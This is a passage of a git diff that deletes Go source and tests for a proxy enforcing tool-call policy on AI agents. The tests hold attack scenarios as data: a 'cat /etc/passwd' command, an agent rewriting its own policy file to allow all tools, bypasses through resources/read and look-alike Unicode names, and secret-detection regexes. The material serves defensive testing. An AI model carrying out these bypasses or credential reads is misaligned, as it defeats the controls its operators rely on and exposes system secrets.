t.Errorf("IsMethodAllowed(%q) = %v, want %v (reason: %s)", - tt.method, decision.Allowed, tt.allowed, decision.Reason) - } - }) - } - - // Dangerous methods should be blocked by default - dangerousTests := []struct { - method string - allowed bool - }{ - {"resources/read", false}, - {"resources/list", false}, - {"prompts/get", false}, - {"prompts/list", false}, - {"logging/setLevel", false}, - {"custom/dangerous", false}, - } - - for _, tt := range dangerousTests { - t.Run("dangerous:"+tt.method, func(t *testing.T) { - decision := engine.IsMethodAllowed(tt.method) - if decision.Allowed != tt.allowed { - t.Errorf("IsMethodAllowed(%q) = %v, want %v (reason: %s)", - tt.method, decision.Allowed, tt.allowed, decision.Reason) - } - }) - } -} - -// TestExplicitMethodAllowlist tests that explicit allowed_methods overrides defaults. -func TestExplicitMethodAllowlist(t *testing.T) { - policyYAML := ` -apiVersion: aip.io/v1alpha1 -kind: AgentPolicy -metadata: - name: explicit-methods-test -spec: - allowed_methods: - - tools/call - - resources/read - allowed_tools: - - some_tool -` - engine := NewEngine() - if err := engine.Load([]byte(policyYAML)); err != nil { - t.Fatalf("Failed to load policy: %v", err) - } - - tests := []struct { - method string - allowed bool - }{ - {"tools/call", true}, // Explicitly allowed - {"resources/read", true}, // Explicitly allowed (normally blocked) - {"tools/list", false}, // NOT in explicit list - {"ping", false}, // NOT in explicit list - {"prompts/get", false}, // NOT in explicit list - } - - for _, tt := range tests { - t.Run(tt.method, func(t *testing.T) { - decision := engine.IsMethodAllowed(tt.method) - if decision.Allowed != tt.allowed { - t.Errorf("IsMethodAllowed(%q) = %v, want %v (reason: %s)", - tt.method, decision.Allowed, tt.allowed, decision.Reason) - } - }) - } -} - -// TestMethodDenylistTakesPrecedence tests that denied_methods blocks even -// if the method is in allowed_methods. -func TestMethodDenylistTakesPrecedence(t *testing.T) { - policyYAML := ` -apiVersion: aip.io/v1alpha1 -kind: AgentPolicy -metadata: - name: deny-precedence-test -spec: - allowed_methods: - - "*" - denied_methods: - - resources/read - - resources/write - allowed_tools: - - some_tool -` - engine := NewEngine() - if err := engine.Load([]byte(policyYAML)); err != nil { - t.Fatalf("Failed to load policy: %v", err) - } - - tests := []struct { - method string - allowed bool - }{ - {"tools/call", true}, // Allowed by wildcard - {"prompts/get", true}, // Allowed by wildcard - {"resources/read", false}, // Explicitly denied (deny wins) - {"resources/write", false}, // Explicitly denied - {"resources/list", true}, // Not denied, allowed by wildcard - } - - for _, tt := range tests { - t.Run(tt.method, func(t *testing.T) { - decision := engine.IsMethodAllowed(tt.method) - if decision.Allowed != tt.allowed { - t.Errorf("IsMethodAllowed(%q) = %v, want %v (reason: %s)", - tt.method, decision.Allowed, tt.allowed, decision.Reason) - } - }) - } -} - -// TestMethodCaseInsensitive tests that method matching is case-insensitive. -func TestMethodCaseInsensitive(t *testing.T) { - policyYAML := ` -apiVersion: aip.io/v1alpha1 -kind: AgentPolicy -metadata: - name: case-test -spec: - allowed_methods: - - tools/call - denied_methods: - - Resources/Read - allowed_tools: - - some_tool -` - engine := NewEngine() - if err := engine.Load([]byte(policyYAML)); err != nil { - t.Fatalf("Failed to load policy: %v", err) - } - - // All case variations should match - allowedVariants := []string{ - "tools/call", - "TOOLS/CALL", - "Tools/Call", - "tOoLs/CaLl", - } - - for _, v := range allowedVariants { - t.Run("allowed:"+v, func(t *testing.T) { - decision := engine.IsMethodAllowed(v) - if !decision.Allowed { - t.Errorf("IsMethodAllowed(%q) should be allowed", v) - } - }) - } - - // Denied should also be case-insensitive - deniedVariants := []string{ - "resources/read", - "RESOURCES/READ", - "Resources/Read", - } - - for _, v := range deniedVariants { - t.Run("denied:"+v, func(t *testing.T) { - decision := engine.IsMethodAllowed(v) - if decision.Allowed { - t.Errorf("IsMethodAllowed(%q) should be denied", v) - } - }) - } -} - -// TestWildcardMethod tests that "*" allows all methods (except denied). -func TestWildcardMethod(t *testing.T) { - policyYAML := ` -apiVersion: aip.io/v1alpha1 -kind: AgentPolicy -metadata: - name: wildcard-test -spec: - allowed_methods: - - "*" - allowed_tools: - - some_tool -` - engine := NewEngine() - if err := engine.Load([]byte(policyYAML)); err != nil { - t.Fatalf("Failed to load policy: %v", err) - } - - // Everything should be allowed with wildcard - methods := []string{ - "tools/call", - "resources/read", - "resources/write", - "prompts/get", - "custom/anything", - "completely/unknown/method", - } - - for _, m := range methods { - t.Run(m, func(t *testing.T) { - decision := engine.IsMethodAllowed(m) - if !decision.Allowed { - t.Errorf("IsMethodAllowed(%q) with wildcard should be allowed", m) - } - }) - } -} - -// TestGetAllowedMethods tests the getter for allowed methods. -func TestGetAllowedMethods(t *testing.T) { - policyYAML := ` -apiVersion: aip.io/v1alpha1 -kind: AgentPolicy -metadata: - name: getter-test -spec: - allowed_methods: - - tools/call - - tools/list - allowed_tools: - - some_tool -` - engine := NewEngine() - if err := engine.Load([]byte(policyYAML)); err != nil { - t.Fatalf("Failed to load policy: %v", err) - } - - methods := engine.GetAllowedMethods() - if len(methods) != 2 { - t.Errorf("Expected 2 allowed methods, got %d", len(methods)) - } -} - -// TestResourcesReadBypassPrevention is the key security test. -// It verifies that the resources/read bypass attack is prevented. -func TestResourcesReadBypassPrevention(t *testing.T) { - // This is the attack scenario from the security review - policyYAML := ` -apiVersion: aip.io/v1alpha1 -kind: AgentPolicy -metadata: - name: security-test -spec: - # Default allowed_methods - resources/read should be BLOCKED - allowed_tools: - - read_file -` - engine := NewEngine() - if err := engine.Load([]byte(policyYAML)); err != nil { - t.Fatalf("Failed to load policy: %v", err) - } - - // Attacker tries to bypass tool policy via resources/read - decision := engine.IsMethodAllowed("resources/read") - if decision.Allowed { - t.Error("SECURITY FAILURE: resources/read should be blocked by default!") - } - - // Also test variations attackers might try - attacks := []string{ - "resources/read", - "Resources/Read", - "RESOURCES/READ", - "resources/list", - "prompts/get", - } - - for _, attack := range attacks { - t.Run("attack:"+attack, func(t *testing.T) { - decision := engine.IsMethodAllowed(attack) - if decision.Allowed { - t.Errorf("SECURITY FAILURE: %q should be blocked!", attack) - } - }) - } -} - -// ----------------------------------------------------------------------------- -// Protected Paths Tests -// ----------------------------------------------------------------------------- - -// TestProtectedPathsBlocksPolicyFile tests that the policy file is protected. -func TestProtectedPathsBlocksPolicyFile(t *testing.T) { - // Create a temp file to act as policy file - tmpFile := "/tmp/test-policy-protected.yaml" - policyYAML := ` -apiVersion: aip.io/v1alpha1 -kind: AgentPolicy -metadata: - name: protected-paths-test -spec: - allowed_tools: - - write_file - - read_file -` - // Write temp policy file - if err := os.WriteFile(tmpFile, []byte(policyYAML), 0644); err != nil { - t.Fatalf("Failed to write temp policy: %v", err) - } - defer func() { _ = os.Remove(tmpFile) }() - - engine := NewEngine() - if err := engine.LoadFromFile(tmpFile); err != nil { - t.Fatalf("Failed to load policy: %v", err) - } - - // Verify policy file is in protected paths - protectedPaths := engine.GetProtectedPaths() - found := false - for _, p := range protectedPaths { - if strings.Contains(p, "test-policy-protected.yaml") { - found = true - break - } - } - if !found { - t.Error("Policy file should be automatically added to protected paths") - } - - // Try to write to policy file - should be blocked - decision := engine.IsAllowed("write_file", map[string]any{ - "path": tmpFile, - "content": "malicious: true", - }) - if decision.Allowed { - t.Fatal("SECURITY FAILURE: Writing to policy file should be blocked!") - } - if !strings.Contains(decision.Reason, "protected path") { - t.Errorf("Reason should mention protected path, got: %s", decision.Reason) - } - - // Try to read policy file - should also be blocked - decision = engine.IsAllowed("read_file", map[string]any{ - "path": tmpFile, - }) - if decision.Allowed { - t.Error("SECURITY FAILURE: Reading policy file should be blocked!") - } -} - -// TestProtectedPathsCustomPaths tests custom protected paths in policy. -func TestProtectedPathsCustomPaths(t *testing.T) { - policyYAML := ` -apiVersion: aip.io/v1alpha1 -kind: AgentPolicy -metadata: - name: custom-protected-paths -spec: - allowed_tools: - - write_file - - run_command - protected_paths: - - /etc/passwd - - /etc/shadow - - ~/.ssh -` - engine := NewEngine() - if err := engine.Load([]byte(policyYAML)); err != nil { - t.Fatalf("Failed to load policy: %v", err) - } - - tests := []struct { - name string - tool string - args map[string]any - wantAllowed bool - }{ - { - name: "write to /etc/passwd - blocked", - tool: "write_file", - args: map[string]any{"path": "/etc/passwd"}, - wantAllowed: false, - }, - { - name: "write to /etc/shadow - blocked", - tool: "write_file", - args: map[string]any{"path": "/etc/shadow"}, - wantAllowed: false, - }, - { - name: "write to normal file - allowed", - tool: "write_file", - args: map[string]any{"path": "/tmp/safe-file.txt"}, - wantAllowed: true, - }, - { - name: "command with protected path - blocked", - tool: "run_command", - args: map[string]any{"command": "cat /etc/passwd"}, - wantAllowed: false, - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - decision := engine.IsAllowed(tt.tool, tt.args) - if decision.Allowed != tt.wantAllowed { - t.Errorf("Allowed = %v, want %v (reason: %s)", - decision.Allowed, tt.wantAllowed, decision.Reason) - } - }) - } -} - -// TestProtectedPathsNestedArgs tests that nested arguments are scanned. -func TestProtectedPathsNestedArgs(t *testing.T) { - policyYAML := ` -apiVersion: aip.io/v1alpha1 -kind: AgentPolicy -metadata: - name: nested-protected-paths -spec: - allowed_tools: - - complex_tool - protected_paths: - - /secret/credentials.json -` - engine := NewEngine() - if err := engine.Load([]byte(policyYAML)); err != nil { - t.Fatalf("Failed to load policy: %v", err) - } - - // Nested in map - decision := engine.IsAllowed("complex_tool", map[string]any{ - "config": map[string]any{ - "output": "/secret/credentials.json", - }, - }) - if decision.Allowed { - t.Error("Protected path nested in map should be blocked") - } - - // Nested in array - decision = engine.IsAllowed("complex_tool", map[string]any{ - "files": []any{"/tmp/ok.txt", "/secret/credentials.json"}, - }) - if decision.Allowed { - t.Error("Protected path in array should be blocked") - } -} - -// TestProtectedPathsSelfModificationAttack is the key security test. -// Simulates the exact attack from the security review. -func TestProtectedPathsSelfModificationAttack(t *testing.T) { - tmpFile := "/tmp/attack-test-policy.yaml" - policyYAML := ` -apiVersion: aip.io/v1alpha1 -kind: AgentPolicy -metadata: - name: self-mod-defense -spec: - allowed_tools: - - write_file - - edit_file - - fs_write -` - if err := os.WriteFile(tmpFile, []byte(policyYAML), 0644); err != nil { - t.Fatalf("Failed to write temp policy: %v", err) - } - defer func() { _ = os.Remove(tmpFile) }() - - engine := NewEngine() - if err := engine.LoadFromFile(tmpFile); err != nil { - t.Fatalf("Failed to load policy: %v", err) - } - - // Attack 1: Direct write to policy file - attack1 := engine.IsAllowed("write_file", map[string]any{ - "path": tmpFile, - "content": ` -apiVersion: aip.io/v1alpha1 -kind: AgentPolicy -spec: - allowed_tools: - - "*" # Allow everything! -`, - }) - if attack1.Allowed { - t.Fatal("SECURITY FAILURE: Direct policy modification should be blocked!") - } - - // Attack 2: Edit policy file - attack2 := engine.IsAllowed("edit_file", map[string]any{ - "file": tmpFile, - "changes": "add malicious_tool to allowed_tools", - }) - if attack2.Allowed { - t.Fatal("SECURITY FAILURE: Policy edit should be blocked!") - } - - // Attack 3: Using a generic write tool - attack3 := engine.IsAllowed("fs_write", map[string]any{ - "target": tmpFile, - "data": "mode: monitor", - }) - if attack3.Allowed { - t.Fatal("SECURITY FAILURE: fs_write to policy should be blocked!") - } -} - -// TestAddProtectedPath tests dynamically adding protected paths. -func TestAddProtectedPath(t *testing.T) { - policyYAML := ` -apiVersion: aip.io/v1alpha1 -kind: AgentPolicy -metadata: - name: dynamic-protection -spec: - allowed_tools: - - write_file -` - engine := NewEngine() - if err := engine.Load([]byte(policyYAML)); err != nil { - t.Fatalf("Failed to load policy: %v", err) - } - - // Initially allowed - decision := engine.IsAllowed("write_file", map[string]any{ - "path": "/var/log/app.log", - }) - if !decision.Allowed { - t.Error("Should be allowed before adding protection") - } - - // Add protection dynamically - engine.AddProtectedPath("/var/log/app.log") - - // Now blocked - decision = engine.IsAllowed("write_file", map[string]any{ - "path": "/var/log/app.log", - }) - if decision.Allowed { - t.Error("Should be blocked after adding protection") - } -} diff --git a/implementations/go-proxy/pkg/policy/normalize.go b/implementations/go-proxy/pkg/policy/normalize.go deleted file mode 100644 index f8b0274..0000000 --- a/implementations/go-proxy/pkg/policy/normalize.go +++ /dev/null @@ -1,54 +0,0 @@ -// Package policy implements the AIP policy engine for tool call authorization. -package policy - -import ( - "strings" - "unicode" - - "golang.org/x/text/unicode/norm" -) - -// NormalizeName converts a tool or method name to canonical form for comparison. -// -// This function prevents Unicode-based bypass attacks where an attacker uses -// visually similar characters to evade allowlist checks: -// -// - Fullwidth characters: ο½„ο½…ο½Œο½…ο½”ο½… β†’ delete -// - Ligatures: file_read β†’ file_read -// - Superscripts: toolΒ² β†’ tool2 -// - Zero-width characters: delete\u200Bfiles β†’ deletefiles -// -// Normalization steps: -// 1. NFKC normalization (compatibility decomposition + canonical composition) -// 2. Lowercase conversion -// 3. Whitespace trimming -// 4. Remove non-printable/control characters -// -// Example attacks prevented: -// -// NormalizeName("ο½„ο½…ο½Œο½…ο½”ο½…οΌΏο½†ο½‰ο½Œο½…ο½“") β†’ "delete_files" -// NormalizeName("delete\u200Bfiles") β†’ "deletefiles" -// NormalizeName("file_read") β†’ "file_read" -func NormalizeName(s string) string { - // Step 1: NFKC normalization - // NFKC = Compatibility Decomposition, followed by Canonical Composition - // This converts: ｄ β†’ d, fi β†’ fi, Β² β†’ 2, etc. - normalized := norm.NFKC.String(s) - - // Step 2: Lowercase - normalized = strings.ToLower(normalized) - - // Step 3: Trim whitespace (including Unicode whitespace) - normalized = strings.TrimSpace(normalized) - - // Step 4: Remove non-printable and control characters - // This catches zero-width spaces, BOM, and other invisible chars - normalized = strings.Map(func(r rune) rune { - if unicode.IsPrint(r) && !unicode.IsControl(r) { - return r - } - return -1 // Remove character - }, normalized) - - return normalized -} diff --git a/implementations/go-proxy/pkg/policy/normalize_test.go b/implementations/go-proxy/pkg/policy/normalize_test.go deleted file mode 100644 index 68c6caf..0000000 --- a/implementations/go-proxy/pkg/policy/normalize_test.go +++ /dev/null @@ -1,242 +0,0 @@ -package policy - -import ( - "testing" -) - -func TestNormalizeName(t *testing.T) { - tests := []struct { - name string - input string - expected string - }{ - // Basic cases - { - name: "lowercase passthrough", - input: "delete_files", - expected: "delete_files", - }, - { - name: "uppercase to lowercase", - input: "DELETE_FILES", - expected: "delete_files", - }, - { - name: "mixed case", - input: "Delete_Files", - expected: "delete_files", - }, - { - name: "trim whitespace", - input: " delete_files ", - expected: "delete_files", - }, - - // Fullwidth Unicode attack vectors - { - name: "fullwidth lowercase", - input: "ο½„ο½…ο½Œο½…ο½”ο½…", - expected: "delete", - }, - { - name: "fullwidth with underscore", - input: "ο½„ο½…ο½Œο½…ο½”ο½…οΌΏο½†ο½‰ο½Œο½…ο½“", - expected: "delete_files", - }, - { - name: "fullwidth uppercase", - input: "οΌ€οΌ₯οΌ¬οΌ₯οΌ΄οΌ₯", - expected: "delete", - }, - { - name: "mixed fullwidth and ASCII", - input: "deleteο½†ο½‰ο½Œο½…ο½“", - expected: "deletefiles", - }, - - // Ligatures - { - name: "fi ligature", - input: "file_read", - expected: "file_read", - }, - { - name: "fl ligature", - input: "flag_set", - expected: "flag_set", - }, - { - name: "ffi ligature", - input: "coffiee", - expected: "coffiee", // ffi expands to "ffi" (3 chars) - }, - - // Superscripts and subscripts - { - name: "superscript 2", - input: "toolΒ²", - expected: "tool2", - }, - { - name: "subscript 1", - input: "tool₁", - expected: "tool1", - }, - - // Zero-width and invisible characters - { - name: "zero-width space", - input: "delete\u200Bfiles", - expected: "deletefiles", - }, - { - name: "zero-width non-joiner", - input: "delete\u200Cfiles", - expected: "deletefiles", - }, - { - name: "byte order mark", - input: "\uFEFFdelete_files", - expected: "delete_files", - }, - { - name: "soft hyphen", - input: "delete\u00ADfiles", - expected: "deletefiles", - }, - - // Path-like inputs (MCP methods) - { - name: "method path", - input: "tools/call", - expected: "tools/call", - }, - { - name: "fullwidth method path", - input: "ο½”ο½ο½ο½Œο½“οΌο½ƒο½ο½Œο½Œ", - expected: "tools/call", - }, - { - name: "resources/read attack", - input: "ｒｅｓｏｕｒｃｅｓ／ｒｅａｄ", - expected: "resources/read", - }, - - // Edge cases - { - name: "empty string", - input: "", - expected: "", - }, - { - name: "only whitespace", - input: " ", - expected: "", - }, - { - name: "numbers unchanged", - input: "tool123", - expected: "tool123", - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - result := NormalizeName(tt.input) - if result != tt.expected { - t.Errorf("NormalizeName(%q) = %q, want %q", tt.input, result, tt.expected) - } - }) - } -} - -// TestUnicodeBypassPrevention verifies that Unicode attacks are blocked. -func TestUnicodeBypassPrevention(t *testing.T) { - policyYAML := ` -apiVersion: aip.io/v1alpha1 -kind: AgentPolicy -metadata: - name: unicode-test -spec: - allowed_tools: - - delete_files - - read_file - denied_methods: - - resources/read -` - engine := NewEngine() - if err := engine.Load([]byte(policyYAML)); err != nil { - t.Fatalf("Failed to load policy: %v", err) - } - - // Tool bypass attempts - all should be treated as "delete_files" - toolAttacks := []struct { - name string - tool string - allowed bool - }{ - {"normal", "delete_files", true}, - {"uppercase", "DELETE_FILES", true}, - {"fullwidth", "ο½„ο½…ο½Œο½…ο½”ο½…οΌΏο½†ο½‰ο½Œο½…ο½“", true}, - {"zero-width space", "delete\u200Bfiles", false}, // becomes "deletefiles", not in list - {"fi ligature", "file_read", false}, // becomes "file_read", not in list - - // These should be blocked (not in allowed_tools) - {"unknown tool", "dangerous_tool", false}, - {"fullwidth unknown", "ο½„ο½ο½Žο½‡ο½…ο½’ο½ο½•ο½“", false}, - } - - for _, tt := range toolAttacks { - t.Run("tool:"+tt.name, func(t *testing.T) { - decision := engine.IsAllowed(tt.tool, nil) - if decision.Allowed != tt.allowed { - t.Errorf("IsAllowed(%q) = %v, want %v (normalized to %q)", - tt.tool, decision.Allowed, tt.allowed, NormalizeName(tt.tool)) - } - }) - } - - // Method bypass attempts - resources/read should be denied - methodAttacks := []struct { - name string - method string - allowed bool - }{ - {"normal tools/call", "tools/call", true}, - {"fullwidth tools/call", "ο½”ο½ο½ο½Œο½“οΌο½ƒο½ο½Œο½Œ", true}, - {"resources/read blocked", "resources/read", false}, - {"fullwidth resources/read", "ｒｅｓｏｕｒｃｅｓ／ｒｅａｄ", false}, - {"uppercase resources/read", "RESOURCES/READ", false}, - } - - for _, tt := range methodAttacks { - t.Run("method:"+tt.name, func(t *testing.T) { - decision := engine.IsMethodAllowed(tt.method) - if decision.Allowed != tt.allowed { - t.Errorf("IsMethodAllowed(%q) = %v, want %v (normalized to %q)", - tt.method, decision.Allowed, tt.allowed, NormalizeName(tt.method)) - } - }) - } -} - -// TestNormalizeNameConsistency verifies that normalization is consistent. -func TestNormalizeNameConsistency(t *testing.T) { - // All these should normalize to the same value - variants := []string{ - "delete_files", - "DELETE_FILES", - "Delete_Files", - "ο½„ο½…ο½Œο½…ο½”ο½…οΌΏο½†ο½‰ο½Œο½…ο½“", - " delete_files ", - } - - expected := NormalizeName(variants[0]) - for _, v := range variants[1:] { - result := NormalizeName(v) - if result != expected { - t.Errorf("NormalizeName(%q) = %q, expected %q (same as first variant)", - v, result, expected) - } - } -} diff --git a/implementations/go-proxy/pkg/policy/safere.go b/implementations/go-proxy/pkg/policy/safere.go deleted file mode 100644 index 4c9874c..0000000 --- a/implementations/go-proxy/pkg/policy/safere.go +++ /dev/null @@ -1,137 +0,0 @@ -// Package policy implements the AIP policy engine for tool call authorization. -package policy - -import ( - "context" - "fmt" - "regexp" - "time" -) - -// DefaultRegexTimeout is the maximum time allowed for regex compilation. -// This prevents ReDoS (Regular Expression Denial of Service) attacks where -// a malicious policy file contains a pathological regex pattern. -const DefaultRegexTimeout = 100 * time.Millisecond - -// SafeCompile compiles a regex pattern with a timeout to prevent ReDoS. -// -// ReDoS Attack Prevention: -// -// Certain regex patterns exhibit exponential time complexity when matched -// against crafted input. A malicious actor could include such patterns in -// a policy file to cause CPU exhaustion: -// -// Evil patterns (DO NOT USE): -// - ^(a+)+$ Nested quantifiers -// - ^([a-zA-Z]+)*$ Nested quantifiers with alternation -// - (a|aa)+$ Overlapping alternatives -// -// While these patterns might compile quickly, they can hang on input like -// "aaaaaaaaaaaaaaaaaaaaax". This function provides a timeout on compilation -// as a first line of defense. -// -// NOTE: This protects against compile-time issues but not all match-time -// ReDoS. For full protection, consider using a regex engine with RE2 -// semantics (like Go's regexp) which guarantees linear-time matching. -// Go's regexp package already uses RE2, so match-time ReDoS is not a concern. -// -// Parameters: -// - pattern: The regex pattern to compile -// - timeout: Maximum time to wait for compilation (0 = DefaultRegexTimeout) -// -// Returns: -// - Compiled *regexp.Regexp on success -// - Error if compilation fails or times out -// -// Example: -// -// re, err := SafeCompile(`^https://github\.com/.*`, 0) -// if err != nil { -// return fmt.Errorf("invalid regex: %w", err) -// } -func SafeCompile(pattern string, timeout time.Duration) (*regexp.Regexp, error) { - if timeout == 0 { - timeout = DefaultRegexTimeout - } - - ctx, cancel := context.WithTimeout(context.Background(), timeout) - defer cancel() - - type compileResult struct { - re *regexp.Regexp - err error - } - resultCh := make(chan compileResult, 1) - - go func() { - re, err := regexp.Compile(pattern) - resultCh <- compileResult{re, err} - }() - - select { - case result := <-resultCh: - if result.err != nil { - return nil, fmt.Errorf("regex compile error: %w", result.err) - } - return result.re, nil - case <-ctx.Done(): - return nil, fmt.Errorf("regex compile timeout after %v (possible ReDoS pattern): %s", timeout, pattern) - } -} - -// MustSafeCompile is like SafeCompile but panics on error. -// Use only for patterns known at compile time (constants). -func MustSafeCompile(pattern string) *regexp.Regexp { - re, err := SafeCompile(pattern, DefaultRegexTimeout) - if err != nil { - panic(err) - } - return re -} - -// ValidateRegexComplexity performs basic heuristic checks on a regex pattern -// to detect potentially problematic patterns before compilation. -// -// This is a best-effort check that catches common ReDoS patterns: -// - Nested quantifiers: (a+)+, (a*)+, (a+)*, etc. -// - Excessive alternation depth -// - Very long patterns (potential for complexity) -// -// Returns nil if the pattern passes checks, error describing the issue otherwise. -// -// NOTE: This is NOT a comprehensive ReDoS detector. It's a heuristic to catch -// obvious cases. Go's RE2-based regexp engine provides the real protection -// by guaranteeing linear-time matching. This check is an additional layer. -func ValidateRegexComplexity(pattern string) error { - // Check for excessive length (arbitrary limit, adjust as needed) - const maxPatternLength = 1000 - if len(pattern) > maxPatternLength { - return fmt.Errorf("regex pattern exceeds maximum length (%d > %d)", len(pattern), maxPatternLength) - } - - // Check for nested quantifiers (common ReDoS pattern) - // These patterns look for quantified groups followed by outer quantifiers: - // (something+)+ or (something*)+ etc. - // - // We look for: ) followed by a quantifier (+, *, {n}) followed by another quantifier - // This is a simplified heuristic - real nested quantifier detection is complex. - // - // Pattern explanation: - // \)[+*?] - Close paren followed by quantifier - // [+*?] - Followed by another quantifier - // - // This catches: (a+)+, (a*)+, (a+)*, (a?)+ etc. - nestedQuantifierRe := regexp.MustCompile(`\)[+*?]\s*[+*?]`) - if nestedQuantifierRe.MatchString(pattern) { - return fmt.Errorf("regex contains potentially dangerous nested quantifiers: %s", pattern) - } - - // Also check for repetition of groups with quantifiers: (...+)+ pattern - // This matches: (anything ending with + or *) followed by + or * - groupedNestedRe := regexp.MustCompile(`\([^)]*[+*]\)[+*]`) - if groupedNestedRe.MatchString(pattern) { - return fmt.Errorf("regex contains potentially dangerous nested quantifiers: %s", pattern) - } - - return nil -} diff --git a/implementations/go-proxy/pkg/policy/safere_test.go b/implementations/go-proxy/pkg/policy/safere_test.go deleted file mode 100644 index 50e1483..0000000 --- a/implementations/go-proxy/pkg/policy/safere_test.go +++ /dev/null @@ -1,205 +0,0 @@ -package policy - -import ( - "testing" - "time" -) - -func TestSafeCompile_ValidPatterns(t *testing.T) { - validPatterns := []string{ - `^https://github\.com/.*`, - `^SELECT\s+.*`, - `[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}`, - `(?i)(api_key|secret|password)\s*[:=]\s*['"]?([a-zA-Z0-9-_]+)['"]?`, - `(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}`, - `^(staging|prod)$`, - `^/api/.*`, - } - - for _, pattern := range validPatterns { - t.Run(pattern[:min(20, len(pattern))], func(t *testing.T) { - re, err := SafeCompile(pattern, 0) - if err != nil { - t.Errorf("SafeCompile(%q) failed: %v", pattern, err) - } - if re == nil { - t.Errorf("SafeCompile(%q) returned nil regex", pattern) - } - }) - } -} - -func TestSafeCompile_InvalidPatterns(t *testing.T) { - invalidPatterns := []struct { - name string - pattern string - }{ - {"unclosed bracket", `[invalid`}, - {"unclosed paren", `(unclosed`}, - {"invalid repetition", `a**`}, - {"unmatched paren", `a)b`}, - {"bad escape in class", `[\c]`}, - } - - for _, tt := range invalidPatterns { - t.Run(tt.name, func(t *testing.T) { - re, err := SafeCompile(tt.pattern, 0) - if err == nil { - t.Errorf("SafeCompile(%q) should fail", tt.pattern) - } - if re != nil { - t.Errorf("SafeCompile(%q) should return nil regex on error", tt.pattern) - } - }) - } -} - -func TestSafeCompile_Timeout(t *testing.T) { - // Test with very short timeout - even simple patterns might timeout - // This tests the timeout mechanism, not actual ReDoS - pattern := `^simple$` - - // Should succeed with reasonable timeout - re, err := SafeCompile(pattern, 100*time.Millisecond) - if err != nil { - t.Errorf("SafeCompile with 100ms timeout failed: %v", err) - } - if re == nil { - t.Error("Expected non-nil regex") - } -} - -func TestSafeCompile_DefaultTimeout(t *testing.T) { - // Test that passing 0 uses default timeout - pattern := `^test$` - re, err := SafeCompile(pattern, 0) // 0 = use default - if err != nil { - t.Errorf("SafeCompile with default timeout failed: %v", err) - } - if re == nil { - t.Error("Expected non-nil regex") - } -} - -func TestMustSafeCompile_Success(t *testing.T) { - // Should not panic for valid patterns - defer func() { - if r := recover(); r != nil { - t.Errorf("MustSafeCompile panicked unexpectedly: %v", r) - } - }() - - re := MustSafeCompile(`^valid$`) - if re == nil { - t.Error("Expected non-nil regex") - } -} - -func TestMustSafeCompile_Panic(t *testing.T) { - // Should panic for invalid patterns - defer func() { - if r := recover(); r == nil { - t.Error("MustSafeCompile should have panicked for invalid pattern") - } - }() - - MustSafeCompile(`[invalid`) -} - -func TestValidateRegexComplexity_Valid(t *testing.T) { - validPatterns := []string{ - `^https://.*`, - `[a-z]+`, - `\d{3}-\d{2}-\d{4}`, - `(?i)password`, - } - - for _, pattern := range validPatterns { - t.Run(pattern, func(t *testing.T) { - err := ValidateRegexComplexity(pattern) - if err != nil { - t.Errorf("ValidateRegexComplexity(%q) unexpected error: %v", pattern, err) - } - }) - } -} - -func TestValidateRegexComplexity_TooLong(t *testing.T) { - // Create a pattern longer than 1000 chars - longPattern := "^" - for i := 0; i < 1001; i++ { - longPattern += "a" - } - longPattern += "$" - - err := ValidateRegexComplexity(longPattern) - if err == nil { - t.Error("ValidateRegexComplexity should reject very long patterns") - } -} - -func TestValidateRegexComplexity_NestedQuantifiers(t *testing.T) { - // These patterns have nested quantifiers that can cause ReDoS - dangerousPatterns := []string{ - `(a+)+`, - `(a*)+`, - `(a+)*`, - `(a*)*`, - } - - for _, pattern := range dangerousPatterns { - t.Run(pattern, func(t *testing.T) { - err := ValidateRegexComplexity(pattern) - if err == nil { - t.Errorf("ValidateRegexComplexity(%q) should detect nested quantifiers", pattern) - } - }) - } -} - -// TestSafeCompile_RealWorldPatterns tests patterns from actual agent.yaml examples -func TestSafeCompile_RealWorldPatterns(t *testing.T) { - realWorldPatterns := []struct { - name string - pattern string - }{ - {"email", `[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}`}, - {"aws_key", `(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}`}, - {"generic_secret", `(?i)(api_key|secret|password)\s*[:=]\s*['"]?([a-zA-Z0-9-_]+)['"]?`}, - {"ssn", `\b\d{3}-\d{2}-\d{4}\b`}, - {"credit_card", `\b(?:\d{4}[- ]?){3}\d{4}\b`}, - {"github_token", `ghp_[a-zA-Z0-9]{36}`}, - {"private_key", `-----BEGIN (RSA |EC |DSA |OPENSSH )?PRIVATE KEY-----`}, - {"github_url", `^https://github\.com/.*`}, - {"select_query", `^SELECT\s+.*`}, - {"safe_commands", `^(ls|cat|echo|pwd)\s.*`}, - {"api_endpoint", `^https://api\.github\.com/.*`}, - {"http_method", `^(GET|POST)$`}, - {"environment", `^(staging|prod)$`}, - } - - for _, tt := range realWorldPatterns { - t.Run(tt.name, func(t *testing.T) { - // First validate complexity - if err := ValidateRegexComplexity(tt.pattern); err != nil { - t.Logf("Complexity warning for %s: %v", tt.name, err) - } - - // Then compile with timeout - re, err := SafeCompile(tt.pattern, 0) - if err != nil { - t.Errorf("SafeCompile failed for %s: %v", tt.name, err) - } - if re == nil { - t.Errorf("SafeCompile returned nil for %s", tt.name) - } - }) - } -} - -func min(a, b int) int { - if a < b { - return a - } - return b -} diff --git a/implementations/go-proxy/pkg/protocol/types.go b/implementations/go-proxy/pkg/protocol/types.go deleted file mode 100644 index d552026..0000000 --- a/implementations/go-proxy/pkg/protocol/types.go +++ /dev/null @@ -1,425 +0,0 @@ -// Package protocol defines JSON-RPC 2.0 message structures for MCP communication. -// -// The AIP proxy intercepts MCP traffic, which uses JSON-RPC 2.0 as its transport -// protocol. These types allow us to decode incoming messages, inspect them for -// policy enforcement, and construct appropriate responses when blocking requests. -// -// JSON-RPC 2.0 Specification: https://www.jsonrpc.org/specification -// MCP Specification: https://modelcontextprotocol.io/specification -package protocol - -import ( - "encoding/json" - "strings" -) - -// ----------------------------------------------------------------------------- -// JSON-RPC 2.0 Core Types -// ----------------------------------------------------------------------------- - -// Request represents a JSON-RPC 2.0 request message. -// -// In the MCP protocol, the client (agent) sends requests to invoke server methods. -// The proxy 